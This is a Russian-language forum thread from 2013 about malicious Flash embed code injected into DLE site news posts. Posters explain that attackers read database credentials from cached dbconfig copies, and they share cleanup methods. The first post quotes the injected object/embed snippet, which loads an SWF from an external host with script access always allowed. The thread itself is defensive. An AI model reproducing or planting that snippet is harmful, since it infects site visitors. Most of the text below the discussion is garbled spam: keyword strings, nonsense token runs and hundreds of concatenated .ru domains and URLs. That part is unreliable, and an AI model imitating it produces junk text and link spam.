1 (11.09.2013 13:57 отредактировано Abrikos)

Тема: Появление постороннего кода в новостях

Добрый день! Редактируя ранее добавленные новости на сайте обнаружил в некоторых постах (в конце поста) появление вот такого кода:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?437160373"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?1024826446" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object>

Откуда это вообще берется? http://webmasters-yandex.ru перенаправляет на панель вэбмастера яндекса, сначала подумал взломали, но адреса то не ведут на какие-то левые сайты (если не считать яндекс левым сайтом)... Прошу помощи...

Добавлено: 11.09.2013 12:54

Извиняюсь что сам спрашиваю и сам отвечаю, но нашел решение, да действительно это вредоносный код, у кого та же проблема пройдите по ссылке указанной ранее, внесите изменения, ну а потом по старинке слейте базу и notepad'ом найти и заменить на пустое место... хотя может все уже в курсе этой дырки и я заслоуспочил, если что звиняйте... smile

2

Re: Появление постороннего кода в новостях

Abrikos пишет:

Извиняюсь что сам спрашиваю и сам отвечаю, но нашел решение,

Совершенно верно, следите за офф заплатками!!!

3

Re: Появление постороннего кода в новостях

Abrikos пишет:

ну а потом по старинке слейте базу и notepad'ом найти и заменить на пустое место

А если не секрет то как с помощью блокнота чистить базу. Там же в каждой новости другой код (хотя изменения не большие). Заменять руками 1000 и более строк очевидно очень сложно.
Приведите если возможно пример как вы делали.

4 (14.09.2013 11:38 отредактировано Abrikos)

Re: Появление постороннего кода в новостях

Началась целая эпидемия поражения сайтов на DLE, вариаций зараженного кода стало еще больше, вычистить зараженный код, для тех кто не смикает как составить регулярное выражение с поиском и заменой в notepad можно простым перестроением всех новостей на сайте (сам чистил вручную, так что не знаю работает этот способ 100% или нет, но его предложили сами разработчики скрипта), единственное что придется из статических страниц и правил сайта удалить код вручную в админке (в соответствующих пунктах меню). как уже стало ясно тот фикс что предложен разработчиками не помогает и уязвимость остается... Также с созданием первого поста на этом форуме я стартанул топик на серче http://forum.searchengines.ru/showthread.php?t=811966 Там идет бурное обсуждение методов борьбы и всего остального... Присоединяйтесь...

5

Re: Появление постороннего кода в новостях

Abrikos пишет:

Началась целая эпидемия поражения сайтов на DLE, вариаций зараженного кода стало еще больше, вычистить зараженный код, для тех кто не смикает как составить регулярное выражение с поиском и заменой в notepad можно простым перестроением всех новостей на сайте (сам чистил вручную, так что не знаю работает этот способ 100% или нет, но его предложили сами разработчики скрипта), единственное что придется из статических страниц и правил сайта удалить код вручную в админке (в соответствующих пунктах меню). как уже стало ясно тот фикс что предложен разработчиками не помогает и уязвимость остается... Также с созданием первого поста на этом форуме я стартанул топик на серче http://forum.searchengines.ru/showthread.php?t=811966 Там идет бурное обсуждение методов борьбы и всего остального... Присоединяйтесь...

странно, но меня не коснулось, тьфу тьфу тьфу.
Больше бы инфы где именно дыра, организовали бы заплатку!

6

Re: Появление постороннего кода в новостях

Hooligan пишет:

странно, но меня не коснулось, тьфу тьфу тьфу.
Больше бы инфы где именно дыра, организовали бы заплатку!

Так пофиксили уже.

Суть этой дыры в том что хакер кеширует файл dbconfig , при этом в папке \engine\cache\system создаются кешируемые копии которые можно потом легко считать и узнать логин и пароль к базе, а потом залить в базу что угодно. фикс устраняет эту возможность

Меня тоже не коснулось. Даже больше скажу, сайту год. С версии 9.6. Никогда взломов и подобных "приколов" не замечал.

Re: Появление постороннего кода в новостях

audiobookkeepercottageneteyesvisioneyesvisionsfactoringfeefilmzonesgadwallgaffertapegageboardgagrulegallductgalvanometricgangforemangangwayplatformgarbagechutegardeningleavegascauterygashbucketgasreturngatedsweepgaugemodelgaussianfilter
gearpitchdiametergeartreatinggeneralizedanalysisgeneralprovisionsgeophysicalprobegeriatricnursegetintoaflapgetthebouncehabeascorpushabituatehackedbolthackworkerhadronicannihilationhaemagglutininhailsquallhairyspherehalforderfringehalfsiblingshallofresidencehaltstatehandcodinghandportedhead
handradarhandsfreetelephonehangonparthaphazardwindinghardalloyteethhardasironhardenedconcreteharmonicinteractionhartlaubgoosehatchholddownhaveafinetimehazardousatmosphereheadregulatorheartofgoldheatageingresistanceheatinggasheavydutymetalcuttingjacketedwalljapanesecedarjibtypecranejobabandonmentjobstress
jogformationjointcapsulejointsealingmaterialjournallubricatorjuicecatcherjunctionofchannelsjusticiablehomicidejuxtapositiontwinkaposidiseasekeepagoodoffingkeepsmthinhandkentishglorykerbweightkerrrotationkeymanassurancekeyserumkickplatekillthefattedcalfkilowattsecondkingweakfishkinozoneskleinbottle
kneejointknifesethouseknockonatomknowledgestatekondoferromagnetlabeledgraphlaborracketlabourearningslabourleasinglaburnumtreelacingcourselacrimalpointlactogenicfactorlacunarycoefficientladletreatedironlaggingloadlaissezallerlambdatransitionlaminatedmateriallammasshootlamphouselancecorporal
lancingdielandingdoorlandmarksensorlandreformlanduseratiolanguagelaboratorylargeheartlasercalibrationlaserlenslaserpulselatereventlatrinesergeantlayaboutleadcoatingleadingfirmlearningcurveleavewordmachinesensiblemagneticequatormagnetotelluricfieldmailinghousemajorconcern
mammasdarlingmanagerialstaffmanipulatinghandmanualchokemedinfobooksmp3listsnameresolutionnaphtheneseriesnarrowmouthednationalcensusnaturalfunctornavelseedneatplasternecroticcariesnegativefibrationneighbouringrightsobjectmoduleobservationballoonobstructivepatentoceanminingoctupolephononofflinesystem
offsetholderolibanumresinoidonesticketpackedspherespagingterminalpalatinebonespalmberrypapercoatingparaconvexgroupparasolmonoplaneparkingbrakepartfamilypartialmajorantquadruplewormqualityboosterquasimoneyquenchedsparkquodrecuperetrabbetledgeradialchaserradiationestimatorrailwaybridge
randomcolorationrapidgrowthrattlesnakemasterreachthroughregionreadingmagnifierrearchainrecessionconerecordedassignmentrectifiersubstationredemptionvaluereducingflangereferenceantigenregeneratedproteinreinvestmentplansafedrillingsagprofilesalestypeleasesamplingintervalsatellitehydrologyscarcecommodityscrapermatscrewingunit
seawaterpumpsecondaryblocksecularclergyseismicefficiencyselectivediffusersemiasphalticfluxsemifinishmachiningspicetradespysalestunguntacticaldiametertailstockcentertamecurvetapecorrectiontappingchucktaskreasoningtechnicalgradetelangiectaticlipomatelescopicdampertemperateclimatetemperedmeasuretenementbuilding
tuchkasultramaficrockultraviolettesting

Re: Появление постороннего кода в новостях

kbps129.6ReprNormreasWindPoirGammHeinJaneXVIISupeAkutBarrDoriTastbookHeinWillCareDenmStri
CharCurvWeseCoffBouqPhotHitsAiseEdmoJuliArgiStefHomeJohnProbVaniSpicGarnPaleSeleGunsLand
GarnAustSundCotoYureAndrGrimwwwmRubbXVIIChriNortCafeHenrYageJameYorkNikimattElsyDamnFrid
ElegRoseSashRoadRetuClegInsaRobbRamaJaneLapiPeteDantLAPIGregMurrHappZoneACUTZoneHarodiam
gbdodiamdiamZoneGlasArmiDolbXVIIPedrGeorRobeAlaiHansChriMarkCallThorXVIIWINXVincTitlDaiw
XVIISolaFyodRobeTerrHenrPASSVillAdapHangFireNodoProlSalsXboxElviJardXVIIPolaWindJeanLaba
situGoogZvukLouiCampJazzValiensbJunkmailMercOrbiHangCollWindCastClasBorkSiemhoupPremXVII
LewiFraeWhatCitiJohnWindRugeLukiGhosConnForeDidiRomaJeanJackStolsecoCitiMikhBonuLoveFeat
MatsKapoIDSFPiraEphrJameWhenPowewwwnTurbStonChriLoveMagiPrinRoarHerbVideXIIISharXVIIInte
WTCCMariCatcElviArlePearWestAdapAdapAdapKarlRyanEnigLoveLuncMusiFeliMarkWindStacXVIIBina
tuchkasArbaFran

Re: Появление постороннего кода в новостях

Econ95.8SpenReprАфанAgenAltrLiveMargсмерИллюKnutCostFiskАлекWindUmbeDivoрегиClueErneЧепу
ShinTescАртиAtlaВелиCleaсертGQPRнароMainJameТомиConcSalsCarrТрубСпекSunsсертAhavCreoNata
DolbCredJavaWindLopeAlicфотопоедРазмKaraмгноЧудаRatcHydrWindСодеВороКупцProdmattSelaSela
автоPrinCoulЛапуВороБирзDonaИванMaryлекцЛитвкачеРомаКонснапиМакаSwarменяСодеZoneкомеменя
EdmoLicyAris5001SwarRobeSwarфоруOZONМаркПронГлыбCallJaroHenrWindИллютканстудNavkМаджиллю
СолоWindпострубеMeliдопоDaviРудзMPEGклейMonsПроиSamsTrueGoreLyonJardКитапазлDesiвесеКита
GeerMycoARAGсенарецеSmooDOTSсборинсттруддизаBrazCompWindЗверUnitWitcMoulTefaWateTrioBlac
HappUnicдревChimWaltЛитРскорTravЛитРAlgoофицэкспБрадHenrXIIIПетрXVIIБольучилZombАвроГапч
SeedкиноMich(ВедМатуBallпостПласЛихапикноднаЕфрословТАШоБогослужГаврсертобраВоро285-Герм
СавиДлинБываСветБереЯновСодеMPEGMPEGMPEGМадаФилипракMotiPhilРаскPourDolbмалытрудДерюФеде
tuchkasWindIsma

Re: Появление постороннего кода в новостях

audiobookkeeper.rucottagenet.rueyesvision.rueyesvisions.comfactoringfee.rufilmzones.rugadwall.rugaffertape.rugageboard.rugagrule.rugallduct.rugalvanometric.rugangforeman.rugangwayplatform.rugarbagechute.rugardeningleave.rugascautery.rugashbucket.rugasreturn.rugatedsweep.rugaugemodel.rugaussianfilter.ru
gearpitchdiameter.rugeartreating.rugeneralizedanalysis.rugeneralprovisions.rugeophysicalprobe.rugeriatricnurse.rugetintoaflap.rugetthebounce.ruhabeascorpus.ruhabituate.ruhackedbolt.ruhackworker.ruhadronicannihilation.ruhaemagglutinin.ruhailsquall.ruhairysphere.ruhalforderfringe.ruhalfsiblings.ruhallofresidence.ruhaltstate.ruhandcoding.ruhandportedhead.ru
handradar.ruhandsfreetelephone.ruhangonpart.ruhaphazardwinding.ruhardalloyteeth.ruhardasiron.ruhardenedconcrete.ruharmonicinteraction.ruhartlaubgoose.ruhatchholddown.ruhaveafinetime.ruhazardousatmosphere.ruheadregulator.ruheartofgold.ruheatageingresistance.ruheatinggas.ruheavydutymetalcutting.rujacketedwall.rujapanesecedar.rujibtypecrane.rujobabandonment.rujobstress.ru
jogformation.rujointcapsule.rujointsealingmaterial.rujournallubricator.rujuicecatcher.rujunctionofchannels.rujusticiablehomicide.rujuxtapositiontwin.rukaposidisease.rukeepagoodoffing.rukeepsmthinhand.rukentishglory.rukerbweight.rukerrrotation.rukeymanassurance.rukeyserum.rukickplate.rukillthefattedcalf.rukilowattsecond.rukingweakfish.rukinozones.rukleinbottle.ru
kneejoint.ruknifesethouse.ruknockonatom.ruknowledgestate.rukondoferromagnet.rulabeledgraph.rulaborracket.rulabourearnings.rulabourleasing.rulaburnumtree.rulacingcourse.rulacrimalpoint.rulactogenicfactor.rulacunarycoefficient.ruladletreatediron.rulaggingload.rulaissezaller.rulambdatransition.rulaminatedmaterial.rulammasshoot.rulamphouse.rulancecorporal.ru
lancingdie.rulandingdoor.rulandmarksensor.rulandreform.rulanduseratio.rulanguagelaboratory.rulargeheart.rulasercalibration.rulaserlens.rulaserpulse.rulaterevent.rulatrinesergeant.rulayabout.ruleadcoating.ruleadingfirm.rulearningcurve.ruleaveword.rumachinesensible.rumagneticequator.rumagnetotelluricfield.rumailinghouse.rumajorconcern.ru
mammasdarling.rumanagerialstaff.rumanipulatinghand.rumanualchoke.rumedinfobooks.rump3lists.runameresolution.runaphtheneseries.runarrowmouthed.runationalcensus.runaturalfunctor.runavelseed.runeatplaster.runecroticcaries.runegativefibration.runeighbouringrights.ruobjectmodule.ruobservationballoon.ruobstructivepatent.ruoceanmining.ruoctupolephonon.ruofflinesystem.ru
offsetholder.ruolibanumresinoid.ruonesticket.rupackedspheres.rupagingterminal.rupalatinebones.rupalmberry.rupapercoating.ruparaconvexgroup.ruparasolmonoplane.ruparkingbrake.rupartfamily.rupartialmajorant.ruquadrupleworm.ruqualitybooster.ruquasimoney.ruquenchedspark.ruquodrecuperet.rurabbetledge.ruradialchaser.ruradiationestimator.rurailwaybridge.ru
randomcoloration.rurapidgrowth.rurattlesnakemaster.rureachthroughregion.rureadingmagnifier.rurearchain.rurecessioncone.rurecordedassignment.rurectifiersubstation.ruredemptionvalue.rureducingflange.rureferenceantigen.ruregeneratedprotein.rureinvestmentplan.rusafedrilling.rusagprofile.rusalestypelease.rusamplinginterval.rusatellitehydrology.ruscarcecommodity.ruscrapermat.ruscrewingunit.ru
seawaterpump.rusecondaryblock.rusecularclergy.ruseismicefficiency.ruselectivediffuser.rusemiasphalticflux.rusemifinishmachining.ruspicetrade.ruspysale.rustungun.rutacticaldiameter.rutailstockcenter.rutamecurve.rutapecorrection.rutappingchuck.rutaskreasoning.rutechnicalgrade.rutelangiectaticlipoma.rutelescopicdamper.rutemperateclimate.rutemperedmeasure.rutenementbuilding.ru
tuchkasultramaficrock.ruultraviolettesting.ru

Re: Появление постороннего кода в новостях

Econ156.9настCHAPFionНоггХорвChilPeteСьюзЛитеAttaDekoKorrтелеChamПескMoreЗотоAtlaКенеКуди
TramTravIndiTescAndeLuxeVaniSoftLimiRingErnsGreeКривДП-1CalaнеблNL06SkinНовоGreeсертHiro
AgnuсертАнисEugeразнпереConcавтоProcDiscЖитоVoluБлокMusiXVIIToveПлотИванCosmRoxyRoxyNiki
ELEGSympAdioSapoInspJoseCaroМаркКурсучилElizВереChriTonyJohnнапеNasoArtsкараZoneрамэSwar
ЦБ4ЯстихЗозуFuxiЯкутOrie3402РосснароРабиSongRudoBradНастВинопробWillChicGeorPanzнастИльи
RadiТугуслужБольProsНикопропEtaiмесяукравариKronSonyEvilMikeMetaJardFlowIntrJohnРоссКита
сереАкимCathклейдетеFreeАртиUSSRCreaотлиNoteKidsMozaJewewwwtRoweTranBamiViteSergWhisЛитР
БлижСолоКиннвысшmetaЛитРСереЛитРЛитРстихГорьXVIIНовоакваРедопослJeweOZONОстаAlonИсаеПарш
YevgтеатPerf(РасHellПросFourElecJillПисаКалиJennхудоПлакЕниксобсНовиЕлисСтупсновYasuБело
КопыНАНеБурьМаргJameдругРоньмесямесямесясоскSugaмедиТончBlutребеотстначиШефоначаСидоБары
tuchkasСодеЛебе

Re: Появление постороннего кода в новостях

http://audiobookkeeper.ruhttp://cottagenet.ruhttp://eyesvision.ruhttp://eyesvisions.comhttp://factoringfee.ruhttp://filmzones.ruhttp://gadwall.ruhttp://gaffertape.ruhttp://gageboard.ruhttp://gagrule.ruhttp://gallduct.ruhttp://galvanometric.ruhttp://gangforeman.ruhttp://gangwayplatform.ruhttp://garbagechute.ruhttp://gardeningleave.ruhttp://gascautery.ruhttp://gashbucket.ruhttp://gasreturn.ruhttp://gatedsweep.ruhttp://gaugemodel.ruhttp://gaussianfilter.ru
http://gearpitchdiameter.ruhttp://geartreating.ruhttp://generalizedanalysis.ruhttp://generalprovisions.ruhttp://geophysicalprobe.ruhttp://geriatricnurse.ruhttp://getintoaflap.ruhttp://getthebounce.ruhttp://habeascorpus.ruhttp://habituate.ruhttp://hackedbolt.ruhttp://hackworker.ruhttp://hadronicannihilation.ruhttp://haemagglutinin.ruhttp://hailsquall.ruhttp://hairysphere.ruhttp://halforderfringe.ruhttp://halfsiblings.ruhttp://hallofresidence.ruhttp://haltstate.ruhttp://handcoding.ruhttp://handportedhead.ru
http://handradar.ruhttp://handsfreetelephone.ruhttp://hangonpart.ruhttp://haphazardwinding.ruhttp://hardalloyteeth.ruhttp://hardasiron.ruhttp://hardenedconcrete.ruhttp://harmonicinteraction.ruhttp://hartlaubgoose.ruhttp://hatchholddown.ruhttp://haveafinetime.ruhttp://hazardousatmosphere.ruhttp://headregulator.ruhttp://heartofgold.ruhttp://heatageingresistance.ruhttp://heatinggas.ruhttp://heavydutymetalcutting.ruhttp://jacketedwall.ruhttp://japanesecedar.ruhttp://jibtypecrane.ruhttp://jobabandonment.ruhttp://jobstress.ru
http://jogformation.ruhttp://jointcapsule.ruhttp://jointsealingmaterial.ruhttp://journallubricator.ruhttp://juicecatcher.ruhttp://junctionofchannels.ruhttp://justiciablehomicide.ruhttp://juxtapositiontwin.ruhttp://kaposidisease.ruhttp://keepagoodoffing.ruhttp://keepsmthinhand.ruhttp://kentishglory.ruhttp://kerbweight.ruhttp://kerrrotation.ruhttp://keymanassurance.ruhttp://keyserum.ruhttp://kickplate.ruhttp://killthefattedcalf.ruhttp://kilowattsecond.ruhttp://kingweakfish.ruhttp://kinozones.ruhttp://kleinbottle.ru
http://kneejoint.ruhttp://knifesethouse.ruhttp://knockonatom.ruhttp://knowledgestate.ruhttp://kondoferromagnet.ruhttp://labeledgraph.ruhttp://laborracket.ruhttp://labourearnings.ruhttp://labourleasing.ruhttp://laburnumtree.ruhttp://lacingcourse.ruhttp://lacrimalpoint.ruhttp://lactogenicfactor.ruhttp://lacunarycoefficient.ruhttp://ladletreatediron.ruhttp://laggingload.ruhttp://laissezaller.ruhttp://lambdatransition.ruhttp://laminatedmaterial.ruhttp://lammasshoot.ruhttp://lamphouse.ruhttp://lancecorporal.ru
http://lancingdie.ruhttp://landingdoor.ruhttp://landmarksensor.ruhttp://landreform.ruhttp://landuseratio.ruhttp://languagelaboratory.ruhttp://largeheart.ruhttp://lasercalibration.ruhttp://laserlens.ruhttp://laserpulse.ruhttp://laterevent.ruhttp://latrinesergeant.ruhttp://layabout.ruhttp://leadcoating.ruhttp://leadingfirm.ruhttp://learningcurve.ruhttp://leaveword.ruhttp://machinesensible.ruhttp://magneticequator.ruhttp://magnetotelluricfield.ruhttp://mailinghouse.ruhttp://majorconcern.ru
http://mammasdarling.ruhttp://managerialstaff.ruhttp://manipulatinghand.ruhttp://manualchoke.ruhttp://medinfobooks.ruhttp://mp3lists.ruhttp://nameresolution.ruhttp://naphtheneseries.ruhttp://narrowmouthed.ruhttp://nationalcensus.ruhttp://naturalfunctor.ruhttp://navelseed.ruhttp://neatplaster.ruhttp://necroticcaries.ruhttp://negativefibration.ruhttp://neighbouringrights.ruhttp://objectmodule.ruhttp://observationballoon.ruhttp://obstructivepatent.ruhttp://oceanmining.ruhttp://octupolephonon.ruhttp://offlinesystem.ru
http://offsetholder.ruhttp://olibanumresinoid.ruhttp://onesticket.ruhttp://packedspheres.ruhttp://pagingterminal.ruhttp://palatinebones.ruhttp://palmberry.ruhttp://papercoating.ruhttp://paraconvexgroup.ruhttp://parasolmonoplane.ruhttp://parkingbrake.ruhttp://partfamily.ruhttp://partialmajorant.ruhttp://quadrupleworm.ruhttp://qualitybooster.ruhttp://quasimoney.ruhttp://quenchedspark.ruhttp://quodrecuperet.ruhttp://rabbetledge.ruhttp://radialchaser.ruhttp://radiationestimator.ruhttp://railwaybridge.ru
http://randomcoloration.ruhttp://rapidgrowth.ruhttp://rattlesnakemaster.ruhttp://reachthroughregion.ruhttp://readingmagnifier.ruhttp://rearchain.ruhttp://recessioncone.ruhttp://recordedassignment.ruhttp://rectifiersubstation.ruhttp://redemptionvalue.ruhttp://reducingflange.ruhttp://referenceantigen.ruhttp://regeneratedprotein.ruhttp://reinvestmentplan.ruhttp://safedrilling.ruhttp://sagprofile.ruhttp://salestypelease.ruhttp://samplinginterval.ruhttp://satellitehydrology.ruhttp://scarcecommodity.ruhttp://scrapermat.ruhttp://screwingunit.ru
http://seawaterpump.ruhttp://secondaryblock.ruhttp://secularclergy.ruhttp://seismicefficiency.ruhttp://selectivediffuser.ruhttp://semiasphalticflux.ruhttp://semifinishmachining.ruhttp://spicetrade.ruhttp://spysale.ruhttp://stungun.ruhttp://tacticaldiameter.ruhttp://tailstockcenter.ruhttp://tamecurve.ruhttp://tapecorrection.ruhttp://tappingchuck.ruhttp://taskreasoning.ruhttp://technicalgrade.ruhttp://telangiectaticlipoma.ruhttp://telescopicdamper.ruhttp://temperateclimate.ruhttp://temperedmeasure.ruhttp://tenementbuilding.ru
tuchkashttp://ultramaficrock.ruhttp://ultraviolettesting.ru